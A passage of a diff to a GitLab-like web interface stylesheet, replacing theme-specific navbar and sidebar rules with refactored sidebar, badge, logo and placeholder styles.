-body.ui-indigo .navbar-gitlab .navbar-nav > li.active > a,
-body.ui-indigo .navbar-gitlab .navbar-nav > li.active > button,
-body.ui-indigo .navbar-gitlab .navbar-nav > li.dropdown.show > a,
-body.ui-indigo .navbar-gitlab .navbar-nav > li.dropdown.show > button {
- color: #292961;
- background-color: #333;
-}
-body.ui-indigo .navbar-gitlab .navbar-sub-nav {
- color: #d1d1f0;
+.form-control::-ms-input-placeholder {
+ color: #868686;
}
-body.ui-indigo .navbar-gitlab .nav > li {
- color: #d1d1f0;
-}
-body.ui-indigo .navbar-gitlab .nav > li > a.header-user-dropdown-toggle .header-user-avatar {
- border-color: #d1d1f0;
-}
-body.ui-indigo .navbar-gitlab .nav > li.active > a,
-body.ui-indigo .navbar-gitlab .nav > li.dropdown.show > a {
- color: #292961;
- background-color: #333;
-}
-body.ui-indigo .search form {
- background-color: rgba(209, 209, 240, 0.2);
-}
-body.ui-indigo .search .search-input::placeholder {
- color: rgba(209, 209, 240, 0.8);
-}
-body.ui-indigo .search .search-input-wrap .search-icon,
-body.ui-indigo .search .search-input-wrap .clear-icon {
- fill: rgba(209, 209, 240, 0.8);
-}
-body.ui-indigo .nav-sidebar li.active {
- box-shadow: inset 4px 0 0 #4b4ba3;
-}
-body.ui-indigo .nav-sidebar li.active > a {
- color: #393982;
-}
-body.ui-indigo .nav-sidebar li.active .nav-icon-container svg {
- fill: #393982;
-}
-body.ui-indigo .sidebar-top-level-items > li.active .badge.badge-pill {
- color: #393982;
-}
-body.gl-dark .logo-text svg {
- fill: #fafafa;
-}
-body.gl-dark .navbar-gitlab {
- background-color: #2e2e2e;
- box-shadow: 0 1px 0 0 var(--gray-100);
-}
-body.gl-dark .navbar-gitlab .navbar-sub-nav li.active > a,
-body.gl-dark .navbar-gitlab .navbar-sub-nav li.active > button,
-body.gl-dark .navbar-gitlab .navbar-sub-nav li.dropdown.show > a,
-body.gl-dark .navbar-gitlab .navbar-sub-nav li.dropdown.show > button,
-body.gl-dark .navbar-gitlab .navbar-nav li.active > a,
-body.gl-dark .navbar-gitlab .navbar-nav li.active > button,
-body.gl-dark .navbar-gitlab .navbar-nav li.dropdown.show > a,
-body.gl-dark .navbar-gitlab .navbar-nav li.dropdown.show > button {
- color: #fafafa;
- background-color: #707070;
-}
-body.gl-dark .navbar-gitlab .search form {
- background-color: #4f4f4f;
- box-shadow: inset 0 0 0 1px #4f4f4f;
+.form-control::placeholder {
+ color: #868686;
}
.navbar-gitlab {
padding: 0 16px;
@@ -1054,7 +638,6 @@ body.gl-dark .navbar-gitlab .search form {
margin-bottom: 0;
min-height: 40px;
border: 0;
- border-bottom: 1px solid #4f4f4f;
position: fixed;
top: 0;
left: 0;
@@ -1104,9 +687,6 @@ body.gl-dark .navbar-gitlab .search form {
.navbar-gitlab .header-content .title img + .logo-text {
margin-left: 8px;
}
-.navbar-gitlab .header-content .title.wrap {
- white-space: normal;
-}
.navbar-gitlab .header-content .title a {
display: flex;
align-items: center;
@@ -1114,9 +694,6 @@ body.gl-dark .navbar-gitlab .search form {
margin: 5px 2px 5px -8px;
border-radius: 4px;
}
-.navbar-gitlab .header-content .dropdown.open > a {
- border-bottom-color: #333;
-}
.navbar-gitlab .header-content .navbar-collapse > ul.nav > li:not(.d-none) {
margin: 0 2px;
}
@@ -1125,7 +702,6 @@ body.gl-dark .navbar-gitlab .search form {
border-top: 0;
padding: 0;
}
-
@media (max-width: 575.98px) {
.navbar-gitlab .navbar-collapse {
flex: 1 1 auto;
@@ -1134,7 +710,6 @@ body.gl-dark .navbar-gitlab .search form {
.navbar-gitlab .navbar-collapse .nav {
flex-wrap: nowrap;
}
-
@media (max-width: 575.98px) {
.navbar-gitlab .navbar-collapse .nav > li:not(.d-none) a {
margin-left: 0;
@@ -1157,7 +732,10 @@ body.gl-dark .navbar-gitlab .search form {
text-align: center;
color: currentColor;
}
-
+.navbar-gitlab .container-fluid .navbar-toggler.active {
+ color: currentColor;
+ background-color: transparent;
+}
@media (max-width: 575.98px) {
.navbar-gitlab .container-fluid .navbar-nav {
display: flex;
@@ -1165,11 +743,14 @@ body.gl-dark .navbar-gitlab .search form {
flex-direction: row;
}
}
-.navbar-gitlab .container-fluid .navbar-nav li .badge.badge-pill {
+.navbar-gitlab
+ .container-fluid
+ .navbar-nav
+ li
+ .badge.badge-pill:not(.merge-request-badge) {
box-shadow: none;
font-weight: 600;
}
-
@media (max-width: 575.98px) {
.navbar-gitlab .container-fluid .nav > li.header-user {
padding-left: 10px;
@@ -1181,7 +762,6 @@ body.gl-dark .navbar-gitlab .search form {
padding: 6px 8px;
height: 32px;
}
-
@media (max-width: 575.98px) {
.navbar-gitlab .container-fluid .nav > li > a {
padding: 0;
@@ -1190,7 +770,12 @@ body.gl-dark .navbar-gitlab .search form {
.navbar-gitlab .container-fluid .nav > li > a.header-user-dropdown-toggle {
margin-left: 2px;
}
-.navbar-gitlab .container-fluid .nav > li > a.header-user-dropdown-toggle .header-user-avatar {
+.navbar-gitlab
+ .container-fluid
+ .nav
+ > li
+ > a.header-user-dropdown-toggle
+ .header-user-avatar {
margin-right: 0;
}
.navbar-gitlab .container-fluid .nav > li .header-new-dropdown-toggle {
@@ -1211,7 +796,9 @@ body.gl-dark .navbar-gitlab .search form {
height: 32px;
font-weight: 600;
}
+.navbar-sub-nav > li .top-nav-toggle,
.navbar-sub-nav > li > button,
+.navbar-nav > li .top-nav-toggle,
.navbar-nav > li > button {
background: transparent;
border: 0;
@@ -1249,31 +836,25 @@ body.gl-dark .navbar-gitlab .search form {
font-weight: 400;
margin-left: -6px;
font-size: 11px;
- color: #333;
+ color: var(--gray-950, #333);
padding: 0 5px;
line-height: 12px;
border-radius: 7px;
box-shadow: 0 1px 0 rgba(76, 78, 84, 0.2);
}
-.title-container .badge.badge-pill.green-badge,
-.navbar-nav .badge.badge-pill.green-badge {
- background-color: #1aaa55;
-}
-.title-container .badge.badge-pill.merge-requests-count,
-.navbar-nav .badge.badge-pill.merge-requests-count {
- background-color: #fca429;
+.title-container .badge.badge-pill:not(.merge-request-badge).green-badge,
+.navbar-nav .badge.badge-pill:not(.merge-request-badge).green-badge {
+ background-color: var(--green-400, #108548);
}
-.title-container .badge.badge-pill.todos-count,
-.navbar-nav .badge.badge-pill.todos-count {
- background-color: #1f78d1;
+.title-container
+ .badge.badge-pill:not(.merge-request-badge).merge-requests-count,
+.navbar-nav .badge.badge-pill:not(.merge-request-badge).merge-requests-count {
+ background-color: var(--orange-400, #ab6100);
}
-.title-container .canary-badge .badge,
-.navbar-nav .canary-badge .badge {
- font-size: 12px;
- line-height: 16px;
- padding: 0 0.5rem;
+.title-container .badge.badge-pill:not(.merge-request-badge).todos-count,
+.navbar-nav .badge.badge-pill:not(.merge-request-badge).todos-count {
+ background-color: var(--blue-400, #1f75cb);
}
-
@media (max-width: 575.98px) {
.navbar-gitlab .container-fluid {
font-size: 18px;
@@ -1298,45 +879,35 @@ body.gl-dark .navbar-gitlab .search form {
float: none;
}
}
-.header-user.show .dropdown-menu {
- margin-top: 4px;
- color: #fafafa;
- left: auto;
- max-height: 445px;
-}
-.header-user.show .dropdown-menu svg {
- vertical-align: text-top;
-}
.header-user-avatar {
float: left;
margin-right: 5px;
border-radius: 50%;
border: 1px solid #333;
}
-.media {
- display: flex;
- align-items: flex-start;
-}
-.card {
- margin-bottom: 16px;
+.notification-dot {
+ background-color: #9e5400;
+ height: 12px;
+ width: 12px;
+ margin-top: -15px;
+ pointer-events: none;
+ visibility: hidden;
}
-.content-wrapper {
- width: 100%;
+.top-nav-toggle .dropdown-icon {
+ margin-right: 0.5rem;
}
-.content-wrapper .container-fluid {
- padding: 0 16px;
+.tanuki-logo .tanuki-left-ear,
+.tanuki-logo .tanuki-right-ear,
+.tanuki-logo .tanuki-nose {
+ fill: #e24329;
}
-
-@media (min-width: 768px) {
- .page-with-contextual-sidebar {
- padding-left: 50px;
- }
+.tanuki-logo .tanuki-left-eye,
+.tanuki-logo .tanuki-right-eye {
+ fill: #fc6d26;
}
-
-@media (min-width: 1200px) {
- .page-with-contextual-sidebar {
- padding-left: 220px;
- }
+.tanuki-logo .tanuki-left-cheek,
+.tanuki-logo .tanuki-right-cheek {
+ fill: #fca326;
}
.context-header {
position: relative;
@@ -1363,9 +934,20 @@ body.gl-dark .navbar-gitlab .search form {
overflow: hidden;
text-overflow: ellipsis;
}
-.context-header .sidebar-context-title.text-secondary {
- font-weight: normal;
- font-size: 0.8em;
+@media (min-width: 768px) {
+ .page-with-contextual-sidebar {
+ padding-left: 48px;
+ }
+}
+@media (min-width: 1200px) {
+ .page-with-contextual-sidebar {
+ padding-left: 220px;
+ }
+}
+@media (min-width: 768px) {
+ .page-with-icon-sidebar {
+ padding-left: 48px;
+ }
}
.nav-sidebar {
position: fixed;
@@ -1374,24 +956,22 @@ body.gl-dark .navbar-gitlab .search form {
top: 40px;
bottom: 0;
left: 0;
- background-color: #2e2e2e;
- box-shadow: inset -1px 0 0 #4f4f4f;
+ background-color: #303030;
+ box-shadow: inset -1px 0 0 #404040;
transform: translate3d(0, 0, 0);
}
-
@media (min-width: 576px) and (max-width: 576px) {
.nav-sidebar:not(.sidebar-collapsed-desktop) {
- box-shadow: inset -1px 0 0 #4f4f4f, 2px 1px 3px rgba(0, 0, 0, 0.1);
+ box-shadow: inset -1px 0 0 #404040, 2px 1px 3px rgba(0, 0, 0, 0.1);
}
}
.nav-sidebar.sidebar-collapsed-desktop {
- width: 50px;
+ width: 48px;
}
.nav-sidebar.sidebar-collapsed-desktop .nav-sidebar-inner-scroll {
overflow-x: hidden;
}
.nav-sidebar.sidebar-collapsed-desktop .badge.badge-pill:not(.fly-out-badge),
-.nav-sidebar.sidebar-collapsed-desktop .sidebar-context-title,
.nav-sidebar.sidebar-collapsed-desktop .nav-item-name {
border: 0;
clip: rect(0, 0, 0, 0);
@@ -1412,9 +992,6 @@ body.gl-dark .navbar-gitlab .search form {
.nav-sidebar.sidebar-collapsed-desktop .avatar-container {
margin: 0 auto;
}
-.nav-sidebar.sidebar-expanded-mobile {
- left: 0;
-}
.nav-sidebar a {
text-decoration: none;
}
@@ -1429,7 +1006,7 @@ body.gl-dark .navbar-gitlab .search form {
display: flex;
align-items: center;
padding: 12px 16px;
- color: #bababa;
+ color: #999;
}
.nav-sidebar li .nav-item-name {
flex: 1;
@@ -1437,7 +1014,6 @@ body.gl-dark .navbar-gitlab .search form {
.nav-sidebar li.active > a {
font-weight: 600;
}
-
@media (max-width: 767.98px) {
.nav-sidebar {
left: -220px;
@@ -1454,16 +1030,15 @@ body.gl-dark .navbar-gitlab .search form {
height: 16px;
width: 16px;
}
-
@media (min-width: 768px) and (max-width: 1199px) {
.nav-sidebar:not(.sidebar-expanded-mobile) {
- width: 50px;
+ width: 48px;
}
.nav-sidebar:not(.sidebar-expanded-mobile) .nav-sidebar-inner-scroll {
overflow-x: hidden;
}
- .nav-sidebar:not(.sidebar-expanded-mobile) .badge.badge-pill:not(.fly-out-badge),
- .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-context-title,
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .badge.badge-pill:not(.fly-out-badge),
.nav-sidebar:not(.sidebar-expanded-mobile) .nav-item-name {
border: 0;
clip: rect(0, 0, 0, 0);
@@ -1486,12 +1061,26 @@ body.gl-dark .navbar-gitlab .search form {
}
.nav-sidebar:not(.sidebar-expanded-mobile) .context-header {
height: 60px;
- width: 50px;
+ width: 48px;
}
.nav-sidebar:not(.sidebar-expanded-mobile) .context-header a {
padding: 10px 4px;
}
- .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-top-level-items > li .sidebar-sub-level-items:not(.flyout-list) {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-context-title {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .sidebar-top-level-items
+ > li
+ .sidebar-sub-level-items:not(.flyout-list) {
display: none;
}
.nav-sidebar:not(.sidebar-expanded-mobile) .nav-icon-container {
@@ -1499,13 +1088,19 @@ body.gl-dark .navbar-gitlab .search form {
}
.nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button {
padding: 16px;
- width: 49px;
+ width: 47px;
}
- .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .collapse-text,
- .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .icon-chevron-double-lg-left {
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .toggle-sidebar-button
+ .collapse-text,
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .toggle-sidebar-button
+ .icon-chevron-double-lg-left {
display: none;
}
- .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .icon-chevron-double-lg-right {
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .toggle-sidebar-button
+ .icon-chevron-double-lg-right {
display: block;
margin: 0;
}
@@ -1522,10 +1117,12 @@ body.gl-dark .navbar-gitlab .search form {
.sidebar-sub-level-items > li a {
padding: 8px 16px 8px 40px;
}
+.sidebar-sub-level-items > li.active a {
+ background: rgba(255, 255, 255, 0.04);
+}
.sidebar-top-level-items {
margin-bottom: 60px;
}
-
@media (min-width: 576px) {
.sidebar-top-level-items > li > a {
margin-right: 1px;
@@ -1533,7 +1130,7 @@ body.gl-dark .navbar-gitlab .search form {
}
.sidebar-top-level-items > li .badge.badge-pill {
background-color: rgba(255, 255, 255, 0.08);
- color: #bababa;
+ color: #999;
}
.sidebar-top-level-items > li.active {
background: rgba(255, 255, 255, 0.04);
@@ -1545,23 +1142,28 @@ body.gl-dark .navbar-gitlab .search form {
.sidebar-top-level-items > li.active .badge.badge-pill {
font-weight: 600;
}
-.sidebar-top-level-items > li.active .sidebar-sub-level-items:not(.is-fly-out-only) {
+.sidebar-top-level-items
+ > li.active
+ .sidebar-sub-level-items:not(.is-fly-out-only) {
display: block;
}
.toggle-sidebar-button,
.close-nav-button {
- width: 219px;
- position: fixed;
height: 48px;
- bottom: 0;
padding: 0 16px;
- background-color: #2e2e2e;
+ background-color: #303030;
border: 0;
- border-top: 1px solid #4f4f4f;
- color: #bababa;
+ color: #999;
display: flex;
align-items: center;
}
+.toggle-sidebar-button,
+.close-nav-button {
+ position: fixed;
+ bottom: 0;
+ width: 219px;
+ border-top: 1px solid #404040;
+}
.toggle-sidebar-button svg,
.close-nav-button svg {
margin-right: 8px;
@@ -1576,12 +1178,26 @@ body.gl-dark .navbar-gitlab .search form {
}
.sidebar-collapsed-desktop .context-header {
height: 60px;
- width: 50px;
+ width: 48px;
}
.sidebar-collapsed-desktop .context-header a {
padding: 10px 4px;
}
-.sidebar-collapsed-desktop .sidebar-top-level-items > li .sidebar-sub-level-items:not(.flyout-list) {
+.sidebar-collapsed-desktop .sidebar-context-title {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+}
+.sidebar-collapsed-desktop
+ .sidebar-top-level-items
+ > li
+ .sidebar-sub-level-items:not(.flyout-list) {
display: none;
}
.sidebar-collapsed-desktop .nav-icon-container {
@@ -1589,13 +1205,15 @@ body.gl-dark .navbar-gitlab .search form {
}
.sidebar-collapsed-desktop .toggle-sidebar-button {
padding: 16px;
- width: 49px;
+ width: 47px;
}
.sidebar-collapsed-desktop .toggle-sidebar-button .collapse-text,
.sidebar-collapsed-desktop .toggle-sidebar-button .icon-chevron-double-lg-left {
display: none;
}
-.sidebar-collapsed-desktop .toggle-sidebar-button .icon-chevron-double-lg-right {
+.sidebar-collapsed-desktop
+ .toggle-sidebar-button
+ .icon-chevron-double-lg-right {
display: block;
margin: 0;
}
@@ -1611,7 +1229,6 @@ body.gl-dark .navbar-gitlab .search form {
.close-nav-button {
display: none;
}
-
@media (max-width: 767.98px) {
.close-nav-button {
display: flex;
@@ -1620,128 +1237,671 @@ body.gl-dark .navbar-gitlab .search form {
display: none;
}
}
-table.table {
- margin-bottom: 16px;
+body.sidebar-refactoring.gl-dark .nav-sidebar li.active {
+ box-shadow: none;
+}
+body.sidebar-refactoring.gl-dark .nav-sidebar li a,
+body.sidebar-refactoring.gl-dark .toggle-sidebar-button .collapse-text,
+body.sidebar-refactoring.gl-dark
+ .toggle-sidebar-button
+ .icon-chevron-double-lg-left,
+body.sidebar-refactoring.gl-dark
+ .toggle-sidebar-button
+ .icon-chevron-double-lg-right,
+body.sidebar-refactoring.gl-dark
+ .sidebar-top-level-items
+ .context-header
+ a
+ .sidebar-context-title,
+body.sidebar-refactoring.gl-dark
+ .nav-sidebar-inner-scroll
+ > div.context-header
+ a
+ .sidebar-context-title {
+ color: #c4c4c4;
}
-table.table .dropdown-menu a {
+body.sidebar-refactoring.ui-indigo
+ .nav-sidebar
+ li.active:not(.fly-out-top-item)
+ > a {
+ color: #2f2a6b;
+}
+body.sidebar-refactoring.ui-indigo
+ .nav-sidebar
+ li.active
+ .nav-icon-container
+ svg {
+ fill: #2f2a6b;
+}
+body.sidebar-refactoring .nav-sidebar {
+ box-shadow: none;
+}
+body.sidebar-refactoring .nav-sidebar li.active {
+ background-color: transparent;
+ box-shadow: none !important;
+}
+@media (min-width: 768px) {
+ body.sidebar-refactoring .page-with-contextual-sidebar {
+ padding-left: 48px;
+ }
+}
+@media (min-width: 1200px) {
+ body.sidebar-refactoring .page-with-contextual-sidebar {
+ padding-left: 220px;
+ }
+}
+@media (min-width: 768px) {
+ body.sidebar-refactoring .page-with-icon-sidebar {
+ padding-left: 48px;
+ }
+}
+body.sidebar-refactoring .nav-sidebar {
+ position: fixed;
+ bottom: 0;
+ left: 0;
+ z-index: 600;
+ width: 220px;
+ top: 40px;
+ background-color: #303030;
+ transform: translate3d(0, 0, 0);
+}
+body.sidebar-refactoring .nav-sidebar.sidebar-collapsed-desktop {
+ width: 48px;
+}
+body.sidebar-refactoring
+ .nav-sidebar.sidebar-collapsed-desktop
+ .nav-sidebar-inner-scroll {
+ overflow-x: hidden;
+}
+body.sidebar-refactoring
+ .nav-sidebar.sidebar-collapsed-desktop
+ .badge.badge-pill:not(.fly-out-badge),
+body.sidebar-refactoring .nav-sidebar.sidebar-collapsed-desktop .nav-item-name,
+body.sidebar-refactoring .nav-sidebar.sidebar-collapsed-desktop .collapse-text {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+}
+body.sidebar-refactoring
+ .nav-sidebar.sidebar-collapsed-desktop
+ .sidebar-top-level-items
+ > li
+ > a {
+ min-height: unset;
+}
+body.sidebar-refactoring
+ .nav-sidebar.sidebar-collapsed-desktop
+ .fly-out-top-item:not(.divider) {
+ display: block !important;
+}
+body.sidebar-refactoring
+ .nav-sidebar.sidebar-collapsed-desktop
+ .avatar-container {
+ margin: 0 auto;
+}
+body.sidebar-refactoring
+ .nav-sidebar.sidebar-collapsed-desktop
+ li.active:not(.fly-out-top-item)
+ > a {
+ background-color: rgba(41, 41, 97, 0.08);
+}
+body.sidebar-refactoring .nav-sidebar a {
text-decoration: none;
+ color: #2f2a6b;
}
-table.table .success,
-table.table .info {
- color: #333;
+body.sidebar-refactoring .nav-sidebar li {
+ white-space: nowrap;
+}
+body.sidebar-refactoring .nav-sidebar li .nav-item-name {
+ flex: 1;
+}
+body.sidebar-refactoring .nav-sidebar li > a,
+body.sidebar-refactoring .nav-sidebar li > .fly-out-top-item-container {
+ padding-left: 0.75rem;
+ padding-right: 0.75rem;
+ padding-top: 0.5rem;
+ padding-bottom: 0.5rem;
+ display: flex;
+ align-items: center;
+ border-radius: 0.25rem;
+ width: auto;
+ line-height: 1rem;
+ margin: 1px 4px;
+}
+body.sidebar-refactoring .nav-sidebar li.active > a {
+ font-weight: 600;
}
-table.table .success a:not(.btn),
-table.table .info a:not(.btn) {
- text-decoration: underline;
+body.sidebar-refactoring
+ .nav-sidebar
+ li.active:not(.fly-out-top-item)
+ > a:not(.has-sub-items) {
+ background-color: rgba(41, 41, 97, 0.08);
+}
+body.sidebar-refactoring .nav-sidebar ul {
+ padding-left: 0;
+ list-style: none;
+}
+@media (max-width: 767.98px) {
+ body.sidebar-refactoring .nav-sidebar {
+ left: -220px;
+ }
+}
+body.sidebar-refactoring .nav-sidebar .nav-icon-container {
+ display: flex;
+ margin-right: 8px;
+}
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item {
+ display: none;
+}
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item
+ a,
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item.active
+ a,
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item
+ .fly-out-top-item-container {
+ margin-left: 0;
+ margin-right: 0;
+ padding-left: 1rem;
+ padding-right: 1rem;
+ cursor: default;
+ pointer-events: none;
+ font-size: 0.75rem;
+ background-color: #2f2a6b;
color: #333;
+ margin-top: -0.25rem;
+ margin-bottom: -0.25rem;
+ margin-top: 0;
+ position: relative;
+ background-color: #fff;
+}
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item
+ a
+ strong,
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item.active
+ a
+ strong,
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item
+ .fly-out-top-item-container
+ strong {
+ font-weight: 400;
}
-pre {
- font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item
+ a::before,
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item.active
+ a::before,
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item
+ .fly-out-top-item-container::before {
+ position: absolute;
+ content: "";
display: block;
- padding: 8px 12px;
- margin: 0 0 8px;
- font-size: 13px;
- word-break: break-all;
- word-wrap: break-word;
+ top: 50%;
+ left: -0.25rem;
+ margin-top: -0.5rem;
+ width: 0;
+ height: 0;
+ border-top: 0.5rem solid transparent;
+ border-bottom: 0.5rem solid transparent;
+ border-right: 0.5rem solid #fff;
+}
+body.sidebar-refactoring
+ .nav-sidebar
+ a.has-sub-items
+ + .sidebar-sub-level-items
+ .fly-out-top-item {
+ display: none;
+}
+body.sidebar-refactoring
+ .nav-sidebar
+ a.has-sub-items
+ + .sidebar-sub-level-items
+ .fly-out-top-item
+ a,
+body.sidebar-refactoring
+ .nav-sidebar
+ a.has-sub-items
+ + .sidebar-sub-level-items
+ .fly-out-top-item.active
+ a,
+body.sidebar-refactoring
+ .nav-sidebar
+ a.has-sub-items
+ + .sidebar-sub-level-items
+ .fly-out-top-item
+ .fly-out-top-item-container {
+ margin-left: 0;
+ margin-right: 0;
+ padding-left: 1rem;
+ padding-right: 1rem;
+ cursor: default;
+ pointer-events: none;
+ font-size: 0.75rem;
+ background-color: #2f2a6b;
+ color: #333;
+ margin-top: -0.25rem;
+ border-bottom-left-radius: 0;
+ border-bottom-right-radius: 0;
+}
+@media (min-width: 768px) and (max-width: 1199px) {
+ body.sidebar-refactoring .nav-sidebar:not(.sidebar-expanded-mobile) {
+ width: 48px;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .nav-sidebar-inner-scroll {
+ overflow-x: hidden;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .badge.badge-pill:not(.fly-out-badge),
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .nav-item-name,
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .collapse-text {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .sidebar-top-level-items
+ > li
+ > a {
+ min-height: unset;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .fly-out-top-item:not(.divider) {
+ display: block !important;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .avatar-container {
+ margin: 0 auto;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ li.active:not(.fly-out-top-item)
+ > a {
+ background-color: rgba(41, 41, 97, 0.08);
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .context-header {
+ height: 60px;
+ width: 48px;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .context-header
+ a {
+ padding: 10px 4px;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .sidebar-context-title {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .context-header {
+ height: auto;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .context-header
+ a {
+ padding: 0.25rem;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .sidebar-top-level-items
+ > li
+ .sidebar-sub-level-items:not(.flyout-list) {
+ display: none;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .nav-icon-container {
+ margin-right: 0;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .toggle-sidebar-button {
+ width: 48px;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .toggle-sidebar-button
+ .collapse-text {
+ display: none;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .toggle-sidebar-button
+ .icon-chevron-double-lg-left {
+ transform: rotate(180deg);
+ display: block;
+ margin: 0;
+ }
+}
+body.sidebar-refactoring .nav-sidebar-inner-scroll {
+ height: 100%;
+ width: 100%;
+ overflow: auto;
+}
+body.sidebar-refactoring .nav-sidebar-inner-scroll > div.context-header {
+ margin-top: 0.25rem;
+}
+body.sidebar-refactoring .nav-sidebar-inner-scroll > div.context-header a {
+ padding-left: 0.75rem;
+ padding-right: 0.75rem;
+ padding-top: 0.5rem;
+ padding-bottom: 0.5rem;
+ display: flex;
+ align-items: center;
+ border-radius: 0.25rem;
+ width: auto;
+ line-height: 1rem;
+ margin: 1px 4px;
+ padding: 0.25rem;
+ margin-bottom: 0.25rem;
+ margin-top: 0;
+}
+body.sidebar-refactoring
+ .nav-sidebar-inner-scroll
+ > div.context-header
+ a
+ .avatar-container {
+ font-weight: 400;
+ flex: none;
+ box-shadow: inset 0 0 0 1px rgba(255, 255, 255, 0.08);
+}
+body.sidebar-refactoring
+ .nav-sidebar-inner-scroll
+ > div.context-header
+ a
+ .avatar-container.rect-avatar {
+ border-style: none;
+}
+body.sidebar-refactoring
+ .nav-sidebar-inner-scroll
+ > div.context-header
+ a
+ .avatar-container.rect-avatar
+ .avatar.s32 {
color: #fafafa;
- background-color: #2e2e2e;
- border: 1px solid #4f4f4f;
- border-radius: 2px;
+ box-shadow: inset 0 0 0 1px rgba(255, 255, 255, 0.08);
+}
+body.sidebar-refactoring
+ .nav-sidebar-inner-scroll
+ > div.context-header
+ a
+ .sidebar-context-title {
+ color: #2f2a6b;
+}
+body.sidebar-refactoring .sidebar-top-level-items {
+ margin-top: 0.25rem;
+ margin-bottom: 60px;
+}
+body.sidebar-refactoring .sidebar-top-level-items .context-header a {
+ padding: 0.25rem;
+ margin-bottom: 0.25rem;
+ margin-top: 0;
+}
+body.sidebar-refactoring
+ .sidebar-top-level-items
+ .context-header
+ a
+ .avatar-container {
+ font-weight: 400;
+ flex: none;
+ box-shadow: inset 0 0 0 1px rgba(255, 255, 255, 0.08);
+}
+body.sidebar-refactoring
+ .sidebar-top-level-items
+ .context-header
+ a
+ .avatar-container.rect-avatar {
+ border-style: none;
+}
+body.sidebar-refactoring
+ .sidebar-top-level-items
+ .context-header
+ a
+ .avatar-container.rect-avatar
+ .avatar.s32 {
+ color: #fafafa;
+ box-shadow: inset 0 0 0 1px rgba(255, 255, 255, 0.08);
+}
+body.sidebar-refactoring
+ .sidebar-top-level-items
+ .context-header
+ a
+ .sidebar-context-title {
+ color: #2f2a6b;
+}
+body.sidebar-refactoring .sidebar-top-level-items > li .badge.badge-pill {
+ border-radius: 0.5rem;
+ padding-top: 0.125rem;
